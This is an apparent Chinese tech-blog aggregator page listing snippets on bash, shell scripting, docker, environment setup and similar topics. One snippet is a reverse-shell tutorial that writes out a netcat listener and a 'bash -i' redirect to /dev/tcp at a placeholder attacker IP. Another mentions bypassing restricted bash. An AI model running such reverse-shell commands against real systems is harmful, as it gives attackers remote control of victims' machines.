ICode9

精准搜索请尝试: 精确搜索
  • rbash是什么2022-09-17 00:01:47

    rbash是什么 rbash是Restricted bash缩写,即受限制的bash。 管理员可通过指定普通用户的bash为rbash,以此来限制相关操作。 在rbash中,很多行为和命令都会被受到限制。 确切说不属于提权,只是绕过rbash的限制,因为绕过后身份依旧是当前的普通账户。 rbash绕过方法总结(精) https://moh

  • 《Unix/Linux系统编程》第三周学习笔记2022-09-16 19:01:35

    《Unix/Linux系统编程》第三周学习笔记 sh编程 sh脚本 #! /bin/bash # comment line echo hello chmod +x mysh使其可执行 sh脚本的第一行通常以#!组合开始,通 常称为shebang。当主sh见到shebang时,会读取脚本所针对的程序名并调用该程序。shebang允许主sh调用适当 版本的sh来执行

  • docker相关命令2022-09-14 19:02:54

    docker 安装:https://blog.csdn.net/qq_44858888/article/details/124084408 docker 命令: 1,下载容器 docker pull 镜像名 2,查看镜像文件 docker images 3,创建并启动docker docker run -it xxxx bash 4,查看所有docker容器 docker ps -a 5,进入docker容器 docker exec -it 802 bash #

  • shell基础2022-09-13 10:30:09

    shell 什么是shell shell的作用是 解释执行用户输入的命令或程序等 用户输入一条命令,shell就解释一条 键盘输入命令,linxu给与响应的方式,称之为交互 shell是一块包裹着系统核心的壳,处于操作系统的最外层,与用户直接对话,把用户的输入,解释给操作系统,然后处理操作系统输出结果,输出到

  • A Trail of Problems——Manjora安装后使用2022-09-12 13:01:12

    目前的启动项有3:Windows Boot Manager、Manjaro、UEFI OS。其中UEFI OS 和 Manjaro 进入后内容相同;Windows下检测不到Manjaro的启动引导,Manjaro却可以检测到Windows的启动引导,不知道是什么配置原因;之前挂载/boot/efi时并没有在windows搞出的100MB的EFI系统分区中,而是另分了512MB

  • linux学习笔记5——sh和bash区别2022-09-11 20:31:07

    众所周知,linux基于unix。 在Unix中有个Bourne shell 是由贝尔实验的史蒂夫·布尔 ( Stephen Bourne ) 发明的命令行解释器。也简写为sh。 但是 Bourne shell 对用户交互不是很友好。linux在Bourne shell的基础上加强了对用户的交互。取名Bourne Again shell 意义是加强版again 的

  • 关于alias,临时和全局,个人和所有用户2022-09-10 12:01:01

    本来说blog全面转移至dootmaan.github.io,然后cnblogs不再更新的,但现在想想有些东西还只能在cnblogs上面写,放在个人主页里面反而不合适。 今天这个事其实就是关于Linux上的alias命令。alias有很多妙用。在配置和维护实验室服务器的过程中,我很喜欢写一些文档,要么是在ssh登录后自动ca

  • 用bash反弹shell2022-09-08 12:00:16

    用bash反弹shell 受害主机;linux系统 攻击机:需要安装netcat(nc) 受害主机执行:ifconfig  ## 查看受害主机ip 攻击机执行:nc -lvp 19999 ## 在攻击机监听19999端口   受害主机执行:bash -i &> /dev/tcp/[攻击机ip]/[攻击机监听端口] 0>&1  ##反弹shell,bash是linux shell的一种,-i是指

  • (non-)interactive (non-)login shell2022-09-06 08:34:51

    1 login shell 当bash以login shell形式登录的时候,bash会依次执行下列脚本,进行关键全局变量的初始化,如PATH。 /etc/profile ~/.bash_profile ~/.bash_login ~/.profile 使用-,-l,--login选项可指定以login shell的形式登录,--noprofile选项可使bash不去执行这些脚本。 当login shel

  • MAC设置JAVA环境变量2022-09-06 02:03:29

    JAVA .bash_profile 为每个用户配置环境变量,用户登录后会自动读取一次 我们切换到当前用户主目录,然后编辑 .bash_profile 文件 cd ~ vim .bash_profile 输入内容 假如我们有两个JAVA环境,需要任意切换 [java11, java1.8] export JAVA11_HOME=/Library/Java/JavaVirtualMachines/jdk

  • Mac安装RabbitMQ2022-09-05 21:01:31

    安装命令 brew install rabbitmq MQ的安装目录在 /usr/local/Cellar/rabbitmq 查看mq运行状态 rabbitmqctl status 配置环境变量 RabbitMQ的命令被安装在/usr/local/sbin,我们想在任意目录下都可以访问它的命令,则需要配置环境变量。 修改~/.bash_profile文件,使用vi ~/.bas

  • redis OCI runtime exec failed: exec failed:解决方法2022-09-02 19:03:25

    引入了一个镜像,由于要修改一个参数,因此要进入容器中,一般使用 docker exec -it 容器名 /bin/bash然而报错 [root@mylinux ~]# docker exec -it goinception /bin/bashOCI runtime exec failed: exec failed: container_linux.go:345: starting container process caused "exec: \"/

  • shell编程2022-08-31 16:30:52

    Shell编程入坑 Shell简介 Shell是一个用C语言编写的程序,它是用户使用linux的桥梁,Shell既是一种命令语言,又是一种程序设计语言。 Shell语法与php类似,容易上手 感觉这个语言蛮有意思的,在linux上写一些自动化脚本挺不错的。结合了菜鸟教程和网上视频简单学了学。 第一个Shell脚本 #!

  • OGG-00446重新注册归档2022-08-31 10:01:34

    单位: 重庆地税副本库:99.12.102.136   描述: 副本库efb_jz进程abenden,报错ERROR OGG-00446 View report efb_jz 2017-08-30 08:31:39 ERROR OGG-00446 could not find archived log for sequence 22704 thread alternative destination....   原因: 在做网络割接时修改了分发库的

  • cp {,bak}用法(转载)2022-08-30 10:01:34

    cp filename{,bak} cp filename{,.bak} 这个命令是用来把filename备份成filename.bak的 等同于命令 cp filename filename.bak 这里利用的是bash的brace expansion(大括号扩展)功能 按照bash手册(man bash)所述 bash支持{a,b,c}这样的扩展 比如a{d,c,b}e会被扩展成ade ace abe

  • 如何启动?win11下的Linux子系统【4种方法】2022-08-29 00:35:56

    实验室的开发环境在Linux操作系统下,时不时就需要打开Linux环境去操作,而且需要本地编译或者远程SSH。这时候window和Linux切换很不方便。本科的做法就是window+虚拟机的Linux,那时候装上了,但是不知道怎么用,又慢又卡的。到了研究生17年末18年出,跟舍友交流过程中发现win10电脑有内嵌的

  • bash/shell 编辑注意事项2022-08-27 16:03:21

    #输出7的倍数 #!bin/bash num=0 #注意num的 后面 while(($num<=500)) do if (($num%7==0)) #注意if后面需要加上空格,而且有两层括号 then echo $num fi let "num++" done   

  • Shell2022-08-25 15:00:09

    Shell单词的意思是外壳,在Unix里是操作系统内核的外壳,是用户和操作系统内核交互的中介。 Shell是一个命令解释器,解释用户输入的命令,执行相关操作。 Shell是一个程序,提供一个与用户对话的环境,这个环境只有一个命令提示符,让用户从键盘输入命令,所以Shell又叫做命令行环境。 Bash基本语

  • 解决.bashrc文件每次打开终端都需要source的问题2022-08-24 00:31:36

    解决方法 配置~/.bash_profile vi ~/.bash_profile if [ -f ~/.bashrc ] ; then source ~/.bashrc fi 到这里,退出会话,重新登陆ssh,基本就可以解决每次登陆ssh后都要输入source ~/.bashrc命令的问题了, 如果还没有解决,继续配置~/.bashrc 配置~/.bashrc vi ~/.bashrc if [ -f

  • Linux基础练习题-错题集(一)2022-08-23 15:03:18

    (1)Linux系统中建立一个新文件可以使用的命令为? 选项:   A. chmod   B. more   C. cp   D. touch (2)Linux程序运行后,文件句柄0,1,2分别是:() 选项:   A. 标准输入,标准输出,标准错误   B. 标准错误,标准输入,标准输出   C. 标准输出,标准输入,标准错误   D. 都不是 (3)在uni

  • Shell | Shell 编程基础(三)2022-08-22 23:31:23

    Shell | Shell 编程基础(三) 一、编程基础 解释器: Shell脚本第一行指定解释器必须写#!/bin/bash,如果没有会默认使用#!/bin/sh作为解释程序 注释: Shell注释,单行#,多行 <<COMMENT comment line 1 comment line 2 comment line n COMMENT 设置执行权限 当前用户增加

  • bash的四种模式2022-08-22 18:31:47

    记录下今天在工作遇到的问题。 大致的问题是我以某种方式通过ssh登陆到服务器上执行一些指令,导致指令运行结果不符合预期。 导致问题的根本原因是bash的四种模式,bash在不同的模式下会加载不同的环境变量 1. interactive + login shell 交互式、登陆的shell。交互式指用户一条一条

  • 宝塔安装composer +laravel2022-08-22 14:33:05

    安装git yum -y install git       示例是使用 CentOS 7.4 哈;如果还没有服务器建议购买阿里云的或者是腾讯云的;这台服务器需要是未安装过 php 的环境;如果服务器已经被折腾过一番;建议备份下数据后重装下环境;阿里云和腾讯云都有重装系统的选项; 一般应用于生产环境的的服务器都是

  • 日常学习(5)verilator、Makefile、bash2022-08-21 01:31:40

    Verilator使用 https://blog.csdn.net/daturasee/article/details/124488821 https://github.com/verilator/verilator our.v module our; initial begin $display("Hello World"); $finish; end endmodule sim_main.cpp #include "Vour.h" #include &

  • 用户管理知识2022-08-19 21:00:09

    用户管理 useradd 创建用户 usermod 修改用户信息(只能修改已存在的用户信息并且未使用的用户) userdel 删除用户及配置文件 passwd 更改用户密码 chpasswd 批量更新用户密码 chage 修改用户密码属性 id 查看用户UID、GID、组信息 su 切换用户 sudo 用root身份执行命令 visu

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有